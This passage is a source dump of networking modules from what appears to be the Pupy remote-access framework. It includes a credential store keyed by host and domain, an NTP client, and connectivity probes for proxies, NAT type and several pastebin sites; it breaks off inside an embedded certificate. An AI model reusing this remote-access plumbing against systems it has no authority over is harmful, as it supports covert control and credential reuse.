            logger.debug('Connection proxy: one: %s', connection_proxy[0])
        else:
            logger.debug('Connection proxy: chain: %s', connection_proxy)

        host_info = HostInfo(host, port, hostname)

        streams_iterator = self.connect_to_host(
            host_info, transport, connection_proxy)

        while True:
            try:
                stream = next(streams_iterator)
                break

            except EOFError as e:
                logger.info('Connection closed: %s', e)

            except StopIteration:
                break

            except Exception as e:
                logger.exception(e)

        if stream:
            self.set_connection_info(hostname, host, port, connection_proxy, transport)
        else:
            logger.debug('All connection attempt has been failed')
            self.reset_connection_info()

        return stream, transport

    def get_transport(self):
        return self._current_transport


================================================
FILE: pupy/network/lib/msgtypes.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'MSG_TYPES_PACK', 'MSG_TYPES_UNPACK',
    'msgpack_exthook'
)

from collections import namedtuple

from pupy.network.conf import transports

from pupy.network.lib import Proxy
from pupy.network.lib.proxies import ProxyInfo
from pupy.network.lib.utils import HostInfo, TransportInfo
from pupy.network.lib.convcompat import as_unicode_string_deep
from pupy.network.lib.rpc.core.brine import (
    register_named_tuple as brine_register_named_tuple
)

from umsgpack import Ext, packb, unpackb


MSG_TYPES_PACK = {}
MSG_TYPES_UNPACK = {}

KNOWN_NAMED_TUPLES = (
    Proxy, ProxyInfo, HostInfo, TransportInfo
)


def register_named_tuple(code, ntype):
    MSG_TYPES_PACK[type] = lambda obj: Ext(
        code, packb(tuple(x for x in obj)))
    MSG_TYPES_UNPACK[code] = lambda obj: ntype(
        *unpackb(obj.data))

    brine_register_named_tuple(code, ntype)


def register_string(ntype, code, name):
    MSG_TYPES_PACK[ntype] = lambda obj: Ext(code, '')
    MSG_TYPES_UNPACK[code] = lambda obj: name


for idx, ntype in enumerate(KNOWN_NAMED_TUPLES):
    register_named_tuple(idx, ntype)

SPECIAL_TYPES_OFFT = len(KNOWN_NAMED_TUPLES)

for idx, name in enumerate(transports):
    register_string(idx, transports[name], name)


wrapext = namedtuple('Ext', ('code', 'data'))


def msgpack_exthook(code, data):
    if code in MSG_TYPES_UNPACK:
        obj = wrapext(code, data)
        return as_unicode_string_deep(MSG_TYPES_UNPACK[code](obj))


================================================
FILE: pupy/network/lib/netcreds.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'NetCreds',
    'add_cred', 'add_cred_for_uri', 'find_creds',
    'find_first_cred', 'find_all_creds', 'find_creds_for_uri',
    'export'
)

import sys

from socket import getaddrinfo, gaierror
from netaddr import IPAddress, AddrFormatError

if sys.version_info.major > 2:
    from urllib.parse import urlparse

    basestring = str
else:
    from urlparse import urlparse


_TARGET_WEIGHTS = {
    'domain': 0b1, 'schema': 0b10,
    'realm': 0b100, 'port': 0b1000, 'path': 0b10000,
    'hostname': 0b100000, 'username': 0b1000000,
    'password': 0b10000000
}


def resolve_ip(hostname, port=0):
    ips = set()
    try:
        for addr in getaddrinfo(hostname, port):
            _, _, _, _, endpoint = addr
            ips.add(endpoint[0])

    except gaierror:
        return None

    return ips


def are_different(first, second):
    if not first or not second:
        return False

    if type(first) is not set and type(second) is set:
        if first not in second:
            return True

    elif type(first) is set and type(second) is not set:
        if second not in first:
            return True

    elif type(first) is set and type(second) is set:
        for x in first:
            if x in second:
                return False

    return first != second


class AuthInfo(object):
    __slots__ = (
        'username', 'password', 'domain', 'schema',
        'hostname', 'ip', 'port', 'realm', 'path',
        'custom'
    )

    def __init__(
        self, username, password=None, domain=None, schema=None,
            address=None, ip=None, port=None, realm=None,
            path=False, custom=None):

        self.password = password
        self.schema = schema
        self.port = port
        self.realm = realm
        self.path = path
        self.custom = custom

        self.hostname = None
        self.ip = None

        if domain is True:
            if '\\' in username:
                self.domain, self.username = username.split('\\')
            else:
                self.domain = None
                self.username = username
        else:
            self.domain = domain
            self.username = username

        try:
            self.ip = {IPAddress(address)}
            self.hostname = None
        except AddrFormatError:
            self.ip = None
            self.hostname = address

        if self.port:
            self.port = int(self.port)

        if self.ip is None and self.hostname:
            self.ip = resolve_ip(self.hostname, self.port)

    def _weight(self, available_fields):
        value = 0b0

        for field, weight in _TARGET_WEIGHTS.items():
            if field not in available_fields:
                continue

            if getattr(self, field):
                value |= weight

        return value

    def __eq__(self, other):
        if type(other) != type(self):
            return False

        return all(
            getattr(self, key) == getattr(other, key)
            for key in self.__slots__
        )

    def __hash__(self):
        rethash = 0
        for key in self.__slots__:
            if key == 'custom':
                continue

            value = getattr(self, key)

            if type(value) == set:
                for item in value:
                    rethash <<= 1
                    rethash ^= hash(item)
            else:
                rethash <<= 1
                rethash ^= hash(value)

        for key in self.custom:
            rethash <<= 1
            rethash ^= hash(self.custom[key])

        return rethash

    @property
    def user(self):
        if self.domain:
            return self.domain + '\\' + self.username

        return self.username

    def __getattr__(self, key):
        if self.custom and key in self.custom:
            return self.custom[key]

    def as_dict(self):
        result = {
            key: getattr(self, key) for key in self.__slots__
            if key != 'custom' and getattr(self, key)
        }

        result['user'] = self.user

        result.update(self.custom)
        return result

    def as_tuple(self):
        return tuple(
            (k, tuple(str(x) for x in v)
            if hasattr(v, '__iter__')  and not isinstance(v, str) else v)
            for k,v in self.as_dict().items()
        )


class NetCreds(object):
    __slots__ = ('creds',)

    default_creds_manager = None

    def __init__(self):
        self.creds = set()

    @staticmethod
    def get_default_creds_manager():
        if NetCreds.default_creds_manager is None:
            NetCreds.default_creds_manager = NetCreds()

        return NetCreds.default_creds_manager

    def add_cred(
        self, username, password=None, domain=None, schema=None,
            hostname=None, ip=None, port=None, realm=None, path=None, **kwargs):

        if port is not None:
            port = int(port)

        if schema is not None:
            schema = schema.lower()

        if hostname is not None:
            hostname = hostname.lower()

        if realm is not None:
            realm = realm.upper()

        if isinstance(domain, basestring):
            domain = domain.lower()

        self.creds.add(
            AuthInfo(
                username, password, domain, schema,
                hostname, ip, port, realm, path, kwargs))

    def add_uri(self, uri, password=None, username=None, realm=None):
        parsed = urlparse(uri)
        self.creds.add(
            AuthInfo(
                username or parsed.username,
                password or parsed.password,
                True, parsed.scheme, parsed.hostname,
                parsed.port, realm
            )
        )

    def find_creds_for_uri(self, authuri, username=None, realm=None, domain=None):
        parsed = urlparse(authuri)
        for cred in self.find_creds(
            parsed.scheme, parsed.hostname, parsed.port, username or parsed.username,
                realm, domain, parsed.path):

            yield cred

    def find_creds(
        self, schema=None, address=None, port=None, username=None, realm=None,
            domain=None, path=None):

        if address is not None:
            try:
                ip = {IPAddress(address)}
                hostname = None
            except AddrFormatError:
                ip = resolve_ip(address, port)
                hostname = address
        else:
            ip = None
            hostname = None

        if port:
            port = int(port)

        if username is not None:
            if '\\' in username and domain is None:
                domain, username = username.split('\\', 1)

        if port is not None:
            port = int(port)

        if schema is not None:
            schema = schema.lower()

        if address is not None:
            address = address.lower()

        if realm is not None:
            realm = realm.upper()

        if isinstance(domain, basestring):
            domain = domain.lower()

        fields = {
            'realm': realm,
            'domain': domain,
            'schema': schema,
            'ip': ip,
            'hostname': hostname,
            'port': port,
            'username': username,
        }

        available_fields = tuple(
            field for field in fields if fields[field]
        )

        sorted_creds = sorted(
            self.creds,
            key=lambda x: x._weight(available_fields), reverse=True
        )

        for cred in sorted_creds:
            pairs = tuple(
                (fields[field], getattr(cred, field)) for field in fields
            )

            different = False

            for (first, second) in pairs:
                if are_different(first, second):
                    different = True
                    break

            if path is not None and cred.path is not None:
                these_parts = '/'.join(
                    x for x in path.split('/') if x
                )

                those_parts = '/'.join(
                    x for x in cred.path.split('/') if x
                )

                if len(these_parts) < len(those_parts):
                    different = True
                else:
                    for x, y in zip(these_parts, those_parts):
                        if x != y:
                            different = True
                            break

            if different:
                continue

            yield cred

    # Urllib2 HTTPPasswordMgr
    def find_user_password(self, realm, authuri):
        for cred in self.find_creds(authuri, realm=realm):
            return cred.password

    def add_password(self, realm, uri, user, passwd):
        self.add_cred(uri, passwd, user, realm)


def add_cred(
    username, password=None, domain=None, schema=None,
       hostname=None, ip=None, port=None, realm=None, path=None, **kwargs):

    manager = NetCreds.get_default_creds_manager()
    manager.add_cred(
        username, password, domain, schema, hostname,
        ip, port, realm, path, **kwargs
    )


def add_cred_for_uri(username, password, authuri, realm=None):
    manager = NetCreds.get_default_creds_manager()
    manager.add_uri(authuri, password, username, realm)


def find_creds(
    schema=None, address=None, port=None, username=None, realm=None,
        domain=None, path=None):

    manager = NetCreds.get_default_creds_manager()
    for cred in manager.find_creds(
            schema, address, port, username, realm, domain, path):
        yield cred


def remove_creds(
    schema=None, address=None, port=None, username=None, realm=None,
        domain=None, path=None):

    manager = NetCreds.get_default_creds_manager()
    to_remove = set()

    for cred in manager.find_creds(
            schema, address, port, username, realm, domain, path):
        to_remove.add(cred)

    for cred in to_remove:
        manager.creds.remove(cred)


def clear_creds():
    manager = NetCreds.get_default_creds_manager()
    manager.creds.clear()


def find_first_cred(
    schema=None, address=None, port=None, username=None, realm=None,
        domain=None, path=None):

    manager = NetCreds.get_default_creds_manager()
    for cred in manager.find_creds(
            schema, address, port, username, realm, domain, path):
        return cred

def find_all_creds(
    schema=None, address=None, port=None, username=None, realm=None,
        domain=None, path=None, as_tuple=False):

    result = []

    for cred in find_creds(
        schema=None, address=None, port=None, username=None,
            realm=None, domain=None, path=None):

        if as_tuple:
            result.append(cred.as_tuple())
        else:
            result.append(cred)

    return tuple(result)


def find_creds_for_uri(authuri, username=None, realm=None, domain=None):
    manager = NetCreds.get_default_creds_manager()
    for cred in manager.find_creds_for_uri(authuri, username, realm, domain):
        yield cred


def export():
    manager = NetCreds.get_default_creds_manager()
    return tuple(x.as_tuple() for x in manager.creds)


================================================
FILE: pupy/network/lib/ntop.py
================================================
# -*- coding: utf-8 -*-

__all__ = ('ensure_ntop',)


def ensure_ntop():
    import socket

    if not (hasattr(socket, 'inet_ntop') and hasattr(socket, 'inet_pton')):
        import sys

        try:
            if 'win' in sys.platform:
                import win_inet_pton
                assert win_inet_pton
        except (ImportError, AttributeError):
            # Something went wrong
            pass


    if not (hasattr(socket, 'inet_ntop') and hasattr(socket, 'inet_pton')):
        import netaddr

        def inet_pton(family, address):
            if family == socket.AF_INET:
                return netaddr.strategy.ipv4.int_to_packed(
                    netaddr.strategy.ipv4.str_to_int(address))
            elif family == socket.AF_INET6:
                return netaddr.strategy.ipv6.int_to_packed(
                    netaddr.strategy.ipv6.str_to_int(address))
            else:
                raise ValueError('Unsupported family {}'.format(family))

        def inet_ntop(family, address):
            if family == socket.AF_INET:
                return netaddr.strategy.ipv4.int_to_str(
                    netaddr.strategy.ipv4.packed_to_int(address))
            elif family == socket.AF_INET6:
                return netaddr.strategy.ipv6.int_to_str(
                    netaddr.strategy.ipv6.packed_to_int(address))
            else:
                raise ValueError('Unsupported family {}'.format(family))

        setattr(socket, 'inet_pton', inet_pton)
        setattr(socket, 'inet_ntop', inet_ntop)


================================================
FILE: pupy/network/lib/ntplib.py
================================================
###############################################################################
# The MIT License (MIT)
#
# Copyright (C) 2009-2015 Charles-Francois Natali <cf.natali@gmail.com>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
###############################################################################
"""Python NTP library.

Implementation of client-side NTP (RFC-1305), and useful NTP-related
functions.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'NTPException', 'NTP',
    'NTPPacket', 'NTPClient', 'NTPStats',
)

import datetime
import socket
import struct
import time

class NTPException(Exception):
    """Exception raised by this module."""
    __slots__ = ()

class NTP(object):
    """Helper class defining constants."""

    _SYSTEM_EPOCH = datetime.date(*time.gmtime(0)[0:3])
    """system epoch"""
    _NTP_EPOCH = datetime.date(1900, 1, 1)
    """NTP epoch"""
    NTP_DELTA = (_SYSTEM_EPOCH - _NTP_EPOCH).days * 24 * 3600
    """delta between system and NTP time"""

    REF_ID_TABLE = {
        "GOES":  "Geostationary Orbit Environment Satellite",
        "GPS\0": "Global Position System",
        "GAL\0": "Galileo Positioning System",
        "PPS\0": "Generic pulse-per-second",
        "IRIG":  "Inter-Range Instrumentation Group",
        "WWVB":  "LF Radio WWVB Ft. Collins, CO 60 kHz",
        "DCF\0": "LF Radio DCF77 Mainflingen, DE 77.5 kHz",
        "HBG\0": "LF Radio HBG Prangins, HB 75 kHz",
        "MSF\0": "LF Radio MSF Anthorn, UK 60 kHz",
        "JJY\0": "LF Radio JJY Fukushima, JP 40 kHz, Saga, JP 60 kHz",
        "LORC":  "MF Radio LORAN C station, 100 kHz",
        "TDF\0": "MF Radio Allouis, FR 162 kHz",
        "CHU\0": "HF Radio CHU Ottawa, Ontario",
        "WWV\0": "HF Radio WWV Ft. Collins, CO",
        "WWVH":  "HF Radio WWVH Kauai, HI",
        "NIST":  "NIST telephone modem",
        "ACTS":  "NIST telephone modem",
        "USNO":  "USNO telephone modem",
        "PTB\0": "European telephone modem",
        "LOCL":  "uncalibrated local clock",
        "CESM":  "calibrated Cesium clock",
        "RBDM":  "calibrated Rubidium clock",
        "OMEG":  "OMEGA radionavigation system",
        "DCN\0": "DCN routing protocol",
        "TSP\0": "TSP time protocol",
        "DTS\0": "Digital Time Service",
        "ATOM":  "Atomic clock (calibrated)",
        "VLF\0": "VLF radio (OMEGA,, etc.)",
        "1PPS":  "External 1 PPS input",
        "FREE":  "(Internal clock)",
        "INIT":  "(Initialization)",
        "\0\0\0\0":   "NULL",
    }
    """reference identifier table"""

    STRATUM_TABLE = {
        0: "unspecified or invalid",
        1: "primary reference (%s)",
    }
    """stratum table"""

    MODE_TABLE = {
        0: "reserved",
        1: "symmetric active",
        2: "symmetric passive",
        3: "client",
        4: "server",
        5: "broadcast",
        6: "reserved for NTP control messages",
        7: "reserved for private use",
    }
    """mode table"""

    LEAP_TABLE = {
        0: "no warning",
        1: "last minute of the day has 61 seconds",
        2: "last minute of the day has 59 seconds",
        3: "unknown (clock unsynchronized)",
    }
    """leap indicator table"""

    __slots__ = ()

class NTPPacket(object):
    """NTP packet class.

    This represents an NTP packet.
    """

    _PACKET_FORMAT = "!B B B b 11I"
    """packet format to pack/unpack"""

    __slots__ = (
        'leap', 'version', 'mode', 'stratum', 'poll',
        'precision', 'root_delay', 'root_dispersion',
        'ref_id', 'ref_timestamp', 'orig_timestamp',
        'recv_timestamp', 'tx_timestamp'
    )

    def __init__(self, version=2, mode=3, tx_timestamp=0):
        """Constructor.

        Parameters:
        version      -- NTP version
        mode         -- packet mode (client, server)
        tx_timestamp -- packet transmit timestamp
        """
        self.leap = 0
        """leap second indicator"""
        self.version = version
        """version"""
        self.mode = mode
        """mode"""
        self.stratum = 0
        """stratum"""
        self.poll = 0
        """poll interval"""
        self.precision = 0
        """precision"""
        self.root_delay = 0
        """root delay"""
        self.root_dispersion = 0
        """root dispersion"""
        self.ref_id = 0
        """reference clock identifier"""
        self.ref_timestamp = 0
        """reference timestamp"""
        self.orig_timestamp = 0
        """originate timestamp"""
        self.recv_timestamp = 0
        """receive timestamp"""
        self.tx_timestamp = tx_timestamp
        """tansmit timestamp"""

    def to_data(self):
        """Convert this NTPPacket to a buffer that can be sent over a socket.

        Returns:
        buffer representing this packet

        Raises:
        NTPException -- in case of invalid field
        """
        try:
            packed = struct.pack(NTPPacket._PACKET_FORMAT,
                (self.leap << 6 | self.version << 3 | self.mode),
                self.stratum,
                self.poll,
                self.precision,
                _to_int(self.root_delay) << 16 | _to_frac(self.root_delay, 16),
                _to_int(self.root_dispersion) << 16 | \
                    _to_frac(self.root_dispersion, 16),
                self.ref_id,
                _to_int(self.ref_timestamp),
                _to_frac(self.ref_timestamp),
                _to_int(self.orig_timestamp),
                _to_frac(self.orig_timestamp),
                _to_int(self.recv_timestamp),
                _to_frac(self.recv_timestamp),
                _to_int(self.tx_timestamp),
                _to_frac(self.tx_timestamp))
        except struct.error:
            raise NTPException("Invalid NTP packet fields.")
        return packed

    def from_data(self, data):
        """Populate this instance from a NTP packet payload received from
        the network.

        Parameters:
        data -- buffer payload

        Raises:
        NTPException -- in case of invalid packet format
        """
        try:
            unpacked = struct.unpack(NTPPacket._PACKET_FORMAT,
                    data[0:struct.calcsize(NTPPacket._PACKET_FORMAT)])
        except struct.error:
            raise NTPException("Invalid NTP packet.")

        self.leap = unpacked[0] >> 6 & 0x3
        self.version = unpacked[0] >> 3 & 0x7
        self.mode = unpacked[0] & 0x7
        self.stratum = unpacked[1]
        self.poll = unpacked[2]
        self.precision = unpacked[3]
        self.root_delay = float(unpacked[4])/2**16
        self.root_dispersion = float(unpacked[5])/2**16
        self.ref_id = unpacked[6]
        self.ref_timestamp = _to_time(unpacked[7], unpacked[8])
        self.orig_timestamp = _to_time(unpacked[9], unpacked[10])
        self.recv_timestamp = _to_time(unpacked[11], unpacked[12])
        self.tx_timestamp = _to_time(unpacked[13], unpacked[14])


class NTPStats(NTPPacket):
    """NTP statistics.

    Wrapper for NTPPacket, offering additional statistics like offset and
    delay, and timestamps converted to system time.
    """

    __slots__ = ['dest_timestamp']

    def __init__(self):
        """Constructor."""
        NTPPacket.__init__(self)
        self.dest_timestamp = 0
        """destination timestamp"""

    @property
    def offset(self):
        """offset"""
        return (
            (self.recv_timestamp - self.orig_timestamp) + \
            (self.tx_timestamp - self.dest_timestamp))/2

    @property
    def delay(self):
        """round-trip delay"""
        return (
            (self.dest_timestamp - self.orig_timestamp) - \
            (self.tx_timestamp - self.recv_timestamp))

    @property
    def tx_time(self):
        """Transmit timestamp in system time."""
        return ntp_to_system_time(self.tx_timestamp)

    @property
    def recv_time(self):
        """Receive timestamp in system time."""
        return ntp_to_system_time(self.recv_timestamp)

    @property
    def orig_time(self):
        """Originate timestamp in system time."""
        return ntp_to_system_time(self.orig_timestamp)

    @property
    def ref_time(self):
        """Reference timestamp in system time."""
        return ntp_to_system_time(self.ref_timestamp)

    @property
    def dest_time(self):
        """Destination timestamp in system time."""
        return ntp_to_system_time(self.dest_timestamp)


class NTPClient(object):
    """NTP client session."""

    __slots__ = ()

    def __init__(self):
        """Constructor."""
        pass

    def request(self, host, version=2, port='ntp', timeout=5):
        """Query a NTP server.

        Parameters:
        host    -- server name/address
        version -- NTP version to use
        port    -- server port
        timeout -- timeout on socket operations

        Returns:
        NTPStats object
        """
        # lookup server address
        addrinfo = socket.getaddrinfo(host, port)[0]
        family, sockaddr = addrinfo[0], addrinfo[4]

        # create the socket
        s = socket.socket(family, socket.SOCK_DGRAM)

        try:
            s.settimeout(timeout)

            # create the request packet - mode 3 is client
            query_packet = NTPPacket(mode=3, version=version,
                                tx_timestamp=system_to_ntp_time(time.time()))

            # send the request
            s.sendto(query_packet.to_data(), sockaddr)

            # wait for the response - check the source address
            src_addr = None,
            while src_addr[0] != sockaddr[0]:
                response_packet, src_addr = s.recvfrom(256)

            # build the destination timestamp
            dest_timestamp = system_to_ntp_time(time.time())
        except socket.timeout:
            raise NTPException("No response received from %s." % host)
        finally:
            s.close()

        # construct corresponding statistics
        stats = NTPStats()
        stats.from_data(response_packet)
        stats.dest_timestamp = dest_timestamp

        return stats


def _to_int(timestamp):
    """Return the integral part of a timestamp.

    Parameters:
    timestamp -- NTP timestamp

    Retuns:
    integral part
    """
    return int(timestamp)


def _to_frac(timestamp, n=32):
    """Return the fractional part of a timestamp.

    Parameters:
    timestamp -- NTP timestamp
    n         -- number of bits of the fractional part

    Retuns:
    fractional part
    """
    return int(abs(timestamp - _to_int(timestamp)) * 2**n)


def _to_time(integ, frac, n=32):
    """Return a timestamp from an integral and fractional part.

    Parameters:
    integ -- integral part
    frac  -- fractional part
    n     -- number of bits of the fractional part

    Retuns:
    timestamp
    """
    return integ + float(frac)/2**n


def ntp_to_system_time(timestamp):
    """Convert a NTP time to system time.

    Parameters:
    timestamp -- timestamp in NTP time

    Returns:
    corresponding system time
    """
    return timestamp - NTP.NTP_DELTA


def system_to_ntp_time(timestamp):
    """Convert a system time to a NTP time.

    Parameters:
    timestamp -- timestamp in system time

    Returns:
    corresponding NTP time
    """
    return timestamp + NTP.NTP_DELTA


def leap_to_text(leap):
    """Convert a leap indicator to text.

    Parameters:
    leap -- leap indicator value

    Returns:
    corresponding message

    Raises:
    NTPException -- in case of invalid leap indicator
    """
    if leap in NTP.LEAP_TABLE:
        return NTP.LEAP_TABLE[leap]
    else:
        raise NTPException("Invalid leap indicator.")


def mode_to_text(mode):
    """Convert a NTP mode value to text.

    Parameters:
    mode -- NTP mode

    Returns:
    corresponding message

    Raises:
    NTPException -- in case of invalid mode
    """
    if mode in NTP.MODE_TABLE:
        return NTP.MODE_TABLE[mode]
    else:
        raise NTPException("Invalid mode.")


def stratum_to_text(stratum):
    """Convert a stratum value to text.

    Parameters:
    stratum -- NTP stratum

    Returns:
    corresponding message

    Raises:
    NTPException -- in case of invalid stratum
    """
    if stratum in NTP.STRATUM_TABLE:
        return NTP.STRATUM_TABLE[stratum] % (stratum)
    elif 1 < stratum < 16:
        return "secondary reference (%s)" % (stratum)
    elif stratum == 16:
        return "unsynchronized (%s)" % (stratum)
    else:
        raise NTPException("Invalid stratum or reserved.")


def ref_id_to_text(ref_id, stratum=2):
    """Convert a reference clock identifier to text according to its stratum.

    Parameters:
    ref_id  -- reference clock indentifier
    stratum -- NTP stratum

    Returns:
    corresponding message

    Raises:
    NTPException -- in case of invalid stratum
    """
    fields = (ref_id >> 24 & 0xff, ref_id >> 16 & 0xff,
              ref_id >> 8 & 0xff, ref_id & 0xff)

    # return the result as a string or dot-formatted IP address
    if 0 <= stratum <= 1:
        text = '%c%c%c%c' % fields
        if text in NTP.REF_ID_TABLE:
            return NTP.REF_ID_TABLE[text]
        else:
            return "Unidentified reference source '%s'" % (text)
    elif 2 <= stratum < 255:
        return '%d.%d.%d.%d' % fields
    else:
        raise NTPException("Invalid stratum.")


================================================
FILE: pupy/network/lib/online.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'check_transparent_proxy',
    'internal_ip',
    'external_ip',
    'external_headers',
    'online',
    'ntp_time_diff',
    'check',
    'bits_to_dict',
    'PortQuiz',
)

import sys
import socket
import time
import threading
import random
import netaddr
import struct
import json

if sys.version_info.major > 2:
    from urllib.request import (
        OpenerDirector, HTTPHandler, Request
    )
else:
    from urllib2 import (
        OpenerDirector, HTTPHandler, Request
    )

from . import tinyhttp
from . import scan
from . import igd
from . import getLogger
from . import stun
from . import ntplib

logger = getLogger('online')


ONLINE_STATUS = None
ONLINE_STATUS_CHECKED = None

ONLINE_CAPTIVE      = 1 << 0
ONLINE_MS           = 1 << 1
ONLINE              = ONLINE_MS | ONLINE_CAPTIVE
HOTSPOT             = 1 << 2
DNS                 = 1 << 3
DIRECT_DNS          = 1 << 4
HTTP                = 1 << 5
HTTPS               = 1 << 6
HTTPS_NOCERT        = 1 << 7
HTTPS_MITM          = 1 << 8
PROXY               = 1 << 9
TRANSPARENT         = 1 << 10
IGD                 = 1 << 11

PASTEBIN            = 1 << 12
HASTEBIN            = 1 << 13
IXIO                = 1 << 14
DPASTE              = 1 << 15
VPASTE              = 1 << 16
PASTEOPENSTACK      = 1 << 17
GHOSTBIN            = 1 << 18
PHPASTE             = 1 << 19
FRIENDPASTE         = 1 << 20
LPASTE              = 1 << 21

STUN_NAT_VALUE      = 7 << 22
STUN_NAT_BLOCKED    = 0 << 22
STUN_NAT_OPEN       = 1 << 22
STUN_NAT_CLONE      = 2 << 22
STUN_NAT_UDP_FW     = 3 << 22
STUN_NAT_RESTRICT   = 4 << 22
STUN_NAT_PORT       = 5 << 22
STUN_NAT_SYMMETRIC  = 6 << 22
STUN_NAT_ERROR      = 7 << 22

NTP                 = 1 << 25

STUN_NAT_DESCRIPTION = {
    STUN_NAT_BLOCKED:   stun.Blocked,
    STUN_NAT_OPEN:      stun.OpenInternet,
    STUN_NAT_CLONE:     stun.FullCone,
    STUN_NAT_UDP_FW:    stun.SymmetricUDPFirewall,
    STUN_NAT_RESTRICT:  stun.RestricNAT,
    STUN_NAT_PORT:      stun.RestricPortNAT,
    STUN_NAT_SYMMETRIC: stun.SymmetricNAT,
    STUN_NAT_ERROR:     stun.ChangedAddressError,
}

NTP_SERVER = 'pool.ntp.org'

STUN_HOST = 'stun.l.google.com'
STUN_PORT = 19302
STUN_HOST_BROKEN = False

# Don't want to import large (200k - 1Mb) dnslib/python dns just for that..
OPENDNS_REQUEST = b'\xe4\x9a\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x04' \
                  b'myip\x07opendns\x03com\x00\x00\x01\x00\x01'
OPENDNS_RESPONSE = b'\xe4\x9a\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00\x04' \
                   b'myip\x07opendns\x03com\x00\x00\x01\x00\x01\xc0\x0c\x00' \
                   b'\x01\x00\x01\x00\x00\x00\x00\x00\x04'
OPENDNS_BROKEN = False

PASTEBINS = {
    'https://pastebin.com': PASTEBIN,
    'https://hastebin.com': HASTEBIN,
    'http://ix.io': IXIO,
    'http://dpaste.com': DPASTE,
    'http://vpaste.net': VPASTE,
    'https://lpaste.net': LPASTE,
    'http://paste.openstack.org': PASTEOPENSTACK,
    'https://ghostbin.com': GHOSTBIN,
    'https://phpaste.sourceforge.io': PHPASTE,
    'https://friendpaste.com': FRIENDPASTE
}

CHECKS = {
    'msonline': {
        'url': 'http://www.msftncsi.com/ncsi.txt',
        'text': 'Microsoft NCSI',
    },

    'http': {
        'url': 'http://lame.sourceforge.net/license.txt',
        'text': 'Can I use LAME in my commercial program?',
    },
    'https': {
        'url': 'https://www.apache.org/licenses/LICENSE-2.0',
        'text': 'APPENDIX: How to apply the Apache License to your work.',
        'ca': 'MIIFdDCCBFygAwIBAgIQJ2buVutJ846r13Ci/ITeIjANBgkqhkiG9w0BAQwFADBv'
              'MQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFk'
              'ZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBF'
              'eHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFow'
              'gYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAO'
              'BgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYD'
              'VQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkq'
              'hkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAkehUktIKVrGsDSTdxc9EZ3SZKzejfSNw'
              'AHG8U9/E+ioSj0t/EFa9n3Byt2F/yUsPF6c947AEYe7/EZfH9IY+Cvo+XPmT5jR6'
              '2RRr55yzhaCCenavcZDX7P0N+pxs+t+wgvQUfvm+xKYvT3+Zf7X8Z0NyvQwA1onr'
              'ayzT7Y+YHBSrfuXjbvzYqOSSJNpDa2K4Vf3qwbxstovzDo2a5JtsaZn4eEgwRdWt'
              '4Q08RWD8MpZRJ7xnw8outmvqRsfHIKCxH2XeSAi6pE6p8oNGN4Tr6MyBSENnTnIq'
              'm1y9TBsoilwie7SrmNnu4FGDwwlGTm0+mfqVF9p8M1dBPI1R7Qu2XK8sYxrfV8g/'
              'vOldxJuvRZnio1oktLqpVj3Pb6r/SVi+8Kj/9Lit6Tf7urj0Czr56ENCHonYhMsT'
              '8dm74YlguIwoVqwUHZwK53Hrzw7dPamWoUi9PPevtQ0iTMARgexWO/bTouJbt7IE'
              'IlKVgJNp6I5MZfGRAy1wdALqi2cVKWlSArvX31BqVUa/oKMoYX9w0MOiqiwhqkfO'
              'KJwGRXa/ghgntNWutMtQ5mv0TIZxMOmm3xaG4Nj/QN370EKIf6MzOi5cHkERgWPO'
              'GHFrK+ymircxXDpqR+DDeVnWIBqv8mqYqnK8V0rSS527EPywTEHl7R09XiidnMy/'
              's1Hap0flhFMCAwEAAaOB9DCB8TAfBgNVHSMEGDAWgBStvZh6NLQm9/rEJlTvA73g'
              'JMtUGjAdBgNVHQ4EFgQUu69+Aj36pvE8hI6t7jiY7NkyMtQwDgYDVR0PAQH/BAQD'
              'AgGGMA8GA1UdEwEB/wQFMAMBAf8wEQYDVR0gBAowCDAGBgRVHSAAMEQGA1UdHwQ9'
              'MDswOaA3oDWGM2h0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9BZGRUcnVzdEV4dGVy'
              'bmFsQ0FSb290LmNybDA1BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0dHA6'
              'Ly9vY3NwLnVzZXJ0cnVzdC5jb20wDQYJKoZIhvcNAQEMBQADggEBAGS/g/FfmoXQ'
